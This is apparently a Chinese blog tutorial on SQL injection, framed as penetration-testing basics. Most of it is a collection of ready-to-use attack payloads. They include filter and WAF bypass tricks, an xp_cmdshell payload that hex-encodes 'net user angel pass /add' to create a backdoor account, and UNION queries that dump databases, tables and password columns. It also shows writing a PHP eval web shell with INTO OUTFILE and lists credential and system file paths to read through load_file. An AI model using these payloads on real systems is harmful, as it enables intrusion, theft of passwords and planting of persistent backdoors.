渗透测试基础-sql注入

渗透测试基础-sql注入_渗透测试


 


  • 绕过 waf
  • 写shell

概念

sql注入指 web应用 对用户输入数据 合法性没有判断
前后端 输入参数 攻击者 可控
参数带入数据库 进行查询
攻击者 构造 不同 语句 对 数据库进行操作。

详情: 注入 空格 漏洞 空格


本质

输入输出控制
将用户输入 数据 当做 sql 语句执行 的关键条件

  • 参数用户可控
  • 参数带入数据库查询

eg:繁多 复杂信息 的查询
存放地点: 数据库
查询方法:url参数带入查询
即 :.asp?id=
.php?id=

发布者:admin

参数带入 加入语句被执行

iis + asp
apache + php
nginx + java
aspx 由asp.net语言开发的网页
快速创建动态Web网站的技术
使用C#(或者vb.net)为开发语言
-------------------------------------------------------- 判断注入点
渗透测试基础-sql注入_sql注入_02

url 查询处?xxx=xx 加

’ 正常报错 存在注入漏洞

and 1=1 正常返回页面
and 直接返回页面 过滤了and

or 1=1 正常返回页面
or 没有返回页面 没有过滤or
or 1 没有返回 即没有过滤or 也没有过滤1
or 1=1 直接返回 过滤了等号

or的特性 与 and相反
or 1=1 爆错 或 与原页面不同
or 1=2 原页面相同
这样就是一个注入点

过滤了=号 我就用><号代替=号

or 1<2 很明显是正确的,所以应该与原页面不同
or 1>2 很明显是错误的,所以应该与原页面相同
然后看看有没有过滤其他的查询语句,比如select.
加select 直接返回主页

-------------------------------------------------> 原理
参数 and 和 (并且)
1 = 1
相当于 数据库执行 计算 1 = 1 (页面不出错)
1 = 2 (页面不正常)

说明了 and 确实被 ?参数代入 数据库交互当做sql语句处理过

手动注入基本知识

渗透测试基础-sql注入_渗透测试_03

实战演练

  • 猜测字段 order by 10 (猜测有10个字段)

防注入技术的突破

  • 关键字绕过
  • 防注入程序都过滤了以下关键字:
    and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =

针对AND与“’”号和“=”号 select 等过滤的突破

PS:

1、运用编码技术绕过
如URLEncode编码,ASCII编码绕过。

例如or 1=1即
%6f%72%20%31%3d%31,

而Test也可以为
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

2、通过空格绕过
如两个空格代替一个空格,
用Tab代替空格等,
或者删除所有空格,如
or’ swords’ =‘swords’

由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。

3、运用字符串判断代替
用经典的or 1=1判断绕过

or ’swords’ =’swords’

4、通过类型转换修饰符N绕过
程度 绕过限制,而且还有别的作用
关于利用

or ’swords’ = N’ swords’
大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用
并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。

5、通过+号拆解字符串绕过
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ ……’ )

6、通过LIKE绕过

如or
’swords’ LIKE ’sw’
绕过
“=”“>”
的限制……

7、通过IN绕过

or ’swords’ IN (’swords’)

8、通过BETWEEN绕过

or ’swords’ BETWEEN ’rw’ AND ’tw’

9、通过>或者<绕过
or ’swords’ > ’sw’
or ’swords’ < ’tw’
or 1<3
……
10、运用注释语句绕过
空格,tab键和注释符/**/可以用来切割sql关键字

回车 作为分割符
回车的ascii码是chr(13)&chr(10)
转换成url编码形式是%0d%0a
可以用%0d%0a代替空格pass一些过滤空格的检查了

用 / * * / 代替空格,如:
UNION /* */ Select / * * / user,pwd,from tbluser

用 / * * / 分割敏感词,如:
U/ * */ NION / * */ SE / * */ LECT / * */user,pwd from tbluser

只用%0d能正常执行语句吗?只用%0a呢?
测试证明,用任意一种分割在mssql、mysql和access里面都是可以的

ascii码可以用来在sql语句中代替空格
在所有128个低位ascii字符中
chr(12)也可以在access里用
不过貌似chr(12)不能出现在and、or之类的关键词附近
mysql中比access多一个chr(11)可以。

至于mssql, 直接从1到32的ascii码换成字符后都可以正常使用。

中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了

字符型的,如果是数值型,
可以在id=1后加一个括号,不过没有测试,
比如:jmdcw.asp?id=(1)and(select…),应该可行

11、用HEX绕过,一般的IDS都无法检测出来
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)


通用点的过滤方法

  • 采用赋值的方法
    先声明一个变量a,然后把我们的指令赋值给a,
    然后调用变量a最终执行我们输入的命令。
    变量a可以是任何命令。

如下:
  declare @a sysname
  select @a=
  exec master.dbo.xp_cmdshell @a
效果
http://www.xxxx.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];–

其中的
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
就是
“net user angel pass /add”

mssql的多语句问题

必须用分号作为语句的结尾 (错了)
类似
Copy code
select * from table exec xp_cmdshell’xxxxxxxxxx’

select * from table/**/exec xp_cmdshell’xxxxxxxxxx’

select * from table|—tab—|exec xp_cmdshell’xxxxxxxxxx’

select * from table|—enter—|exec xp_cmdshell’xxxxxxxxxx’

的语句都是可以正常执行的。
跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。
(遇到带空格过滤关键字的拦截程序)

宽字节注⼊

注⼊产⽣的原理
  • 源于程序员设置MySQL连接时错误配置 set character_set_client=gbk
  • 引发编码转换从⽽导致的注⼊漏洞

正常情况下当GPC开启 或 使⽤addslashes函数 过滤GET或POST提交的参数时

⿊客使⽤的 单引号 ’ 就会 被转义为: ';

  • 如果存在宽字节注⼊
  • 输⼊%df%27时 经过上⾯提到的单引号转义变成了
    %df%5c%27(%5c是反斜杠\)
  • 之后 在数据库查询前 由于使⽤了GBK多字节编码
    即在 汉字编码范围内两个字节会被编码为⼀个汉字。
  • 然后MySQL服务器会对查询语句进⾏GBK编码
    即%df%5c转换成了汉字“運”,
    ⽽单引号逃逸了出来,从⽽造成了注⼊漏洞

GBK编码导致宽字节注⼊

  • GBK编码是数据库编码,跟前台的编码⽆关

GBK转UTF-8

  • 我们输⼊%df%27时
  • 单引号转义变成了%df%5c%27(%5c是反斜杠\),
  • 然后%df%5c正好属于gbk的汉字编码范围,
  • 经过iconv转换到utf-8编码转换后变成了汉字“運”,从⽽吞掉了反斜杠使得单引
    号逃脱出来。

UTF-8转GBK

  • “錦”,它的utf-8编码是e98ca6,它的gbk编码是%e5%5c, 反斜杠\正好为%5c。
  • 如果我们将title设置为:錦’,⾸先经过addlashes函数或GPC对单引号转义变为:錦
    \’,
  • 然后会经过icnov函数会对”錦”转化为gbk编码
  • 最后就是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从⽽单引号逃逸出来就会引发注⼊漏洞。

 判断是否存在SQL注入
'
and 1=1
and 1=2

暴字段长度
Order by 数字

匹配字段
and 1=1 union select 1,2,..,n

暴字段位置
and 1=2 union select 1,2,..,n
 
利用内置函数暴数据库信息
version() database() user()
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version() 
and 1=2 union all select database() 
and 1=2 union all select user() 
操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user 
数据库权限:
and ord(mid(user(),1,1))=114  返回正常说明为root
 
暴库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
直接写马(Root权限)
条件:1、知道站点物理路径
2、有足够大的权限(可以用select …. from mysql.user测试)
3、magic_quotes_gpc()=OFF
select ‘<?php eval_r($_POST[cmd])?>' into outfile ‘物理路径'
and 1=2 union all select 一句话HEX值 into outfile '路径'

load_file() 常用路径:

  1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
  2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
  上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
  3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
  4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
  5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
  6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
  7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
  8、d:\APACHE\Apache2\conf\httpd.conf
  9、C:\Program Files\mysql\my.ini
  10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
  11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
  12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
  13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
  14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
  15、 /etc/sysconfig/iptables 本看防火墙策略
  16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
  17 、/etc/my.cnf MYSQL的配置文件
  18、 /etc/redhat-release 红帽子的系统版本
  19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
  20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
  21、/usr/local/app/php5 b/php.ini //PHP相关设置
  22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
  23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
  24、c:\windows\my.ini
25、c:\boot.ini
网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))
注:
Char(60)表示 <
Char(32)表示 空格

手工注射时出现的问题:
当注射后页面显示:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
如:/instrument.php?ID=13 and 1=2 union select 1,load_file(0x433A5C626F6F742E696E69),3,4,user()
这是由于前后编码不一致造成的,
解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:
/instrument.php?ID=13 and 1=2 union select 1,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))

渗透测试基础-sql注入_渗透测试_04渗透测试基础-sql注入_sql注入_05渗透测试基础-sql注入_sql注入_06渗透测试基础-sql注入_sql注入_07渗透测试基础-sql注入_sql注入_08渗透测试基础-sql注入_sql注入_09渗透测试基础-sql注入_渗透测试_10
渗透测试基础-sql注入_渗透测试_11渗透测试基础-sql注入_渗透测试_12渗透测试基础-sql注入_渗透测试_13渗透测试基础-sql注入_渗透测试_14渗透测试基础-sql注入_渗透测试_15渗透测试基础-sql注入_渗透测试_16渗透测试基础-sql注入_渗透测试_17渗透测试基础-sql注入_渗透测试_18渗透测试基础-sql注入_渗透测试_19渗透测试基础-sql注入_sql注入_20渗透测试基础-sql注入_sql注入_21渗透测试基础-sql注入_渗透测试_22渗透测试基础-sql注入_sql注入_23渗透测试基础-sql注入_sql注入_24渗透测试基础-sql注入_渗透测试_25渗透测试基础-sql注入_渗透测试_26渗透测试基础-sql注入_sql注入_27渗透测试基础-sql注入_sql注入_28渗透测试基础-sql注入_sql注入_29渗透测试基础-sql注入_sql注入_30渗透测试基础-sql注入_sql注入_31渗透测试基础-sql注入_sql注入_32渗透测试基础-sql注入_sql注入_33